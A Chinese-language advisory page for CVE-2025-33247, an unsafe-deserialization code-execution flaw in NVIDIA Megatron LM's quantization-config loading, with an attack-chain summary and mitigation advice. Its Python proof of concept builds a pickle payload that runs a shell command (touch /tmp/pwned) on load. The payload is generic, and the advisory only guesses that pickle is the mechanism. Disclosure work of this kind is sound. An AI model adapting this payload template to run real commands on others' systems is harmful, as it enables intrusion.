CVE-2025-33247 CVSS 7.8 高危

CVE-2025-33247 NVIDIA Megatron LM 代码执行漏洞

披露日期: 2026-03-24

来源: [email protected]

漏洞信息

漏洞编号

CVE-2025-33247

漏洞类型

远程代码执行

CVSS评分

7.8 高危

攻击向量

本地 (AV:L)

认证要求

低权限 (PR:L)

用户交互

无需交互 (UI:N)

影响产品

NVIDIA Megatron LM

漏洞概述

NVIDIA Megatron LM 是一个用于训练大型 Transformer 模型的大型语言模型框架。该产品在量化配置加载功能中存在安全漏洞。由于未正确验证用户提供的配置数据，攻击者可利用此漏洞执行任意代码。成功利用该漏洞可能导致权限提升、敏感信息泄露以及数据篡改。该漏洞 CVSS v3.1 评分为 7.8，属于高危漏洞。

技术细节

该漏洞源于 NVIDIA Megatron LM 在加载量化配置时使用了不安全的反序列化机制（通常涉及 Python 的 pickle 模块或类似的不安全加载函数）。当应用程序加载被篡改的量化配置文件时，反序列化过程会自动执行文件中嵌入的恶意代码。攻击者可以通过诱导受害者加载特制的配置文件来触发此漏洞。尽管 CVSS 向量显示攻击向量为本地（AV:L），但一旦代码被执行，攻击者即可在当前用户上下文中获得完全控制权，进而通过权限提升获得更高权限，造成严重的安全影响。

攻击链分析

STEP 1

1. 恶意构造

攻击者分析 Megatron LM 的配置加载机制，构造包含恶意代码的量化配置文件（如植入 Pickle 反序列化载荷）。

STEP 2

2. 文件投递

攻击者将恶意配置文件上传至目标服务器，或诱导具有低权限的用户/管理员加载该文件。

STEP 3

3. 触发漏洞

当 Megatron LM 应用程序启动或运行并加载该恶意量化配置时，触发不安全的反序列化操作。

STEP 4

4. 代码执行

恶意载荷在应用程序上下文中执行，攻击者获得系统访问权限，进而进行权限提升、数据窃取或破坏。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import pickle
import os

# Malicious payload to execute a shell command (e.g., creating a file)
class Exploit:
    def __reduce__(self):
        # Execute 'touch /tmp/pwned' upon deserialization
        return (os.system, ('touch /tmp/pwned',))

# Serialize the malicious object
with open('malicious_config.json', 'wb') as f:
    pickle.dump(Exploit(), f)

print("Malicious configuration file 'malicious_config.json' generated.")
print("When Megatron LM loads this file, the command will be executed.")

影响范围

NVIDIA Megatron LM (具体受影响版本请参考 NVIDIA 官方安全公告)

防御指南

临时缓解措施

在官方补丁未应用前，建议严格限制量化配置文件的来源，仅加载可信配置。同时，应限制运行 Megatron LM 的系统权限，避免使用 root 或高权限账户运行，以减少潜在的权限提升风险。

参考链接

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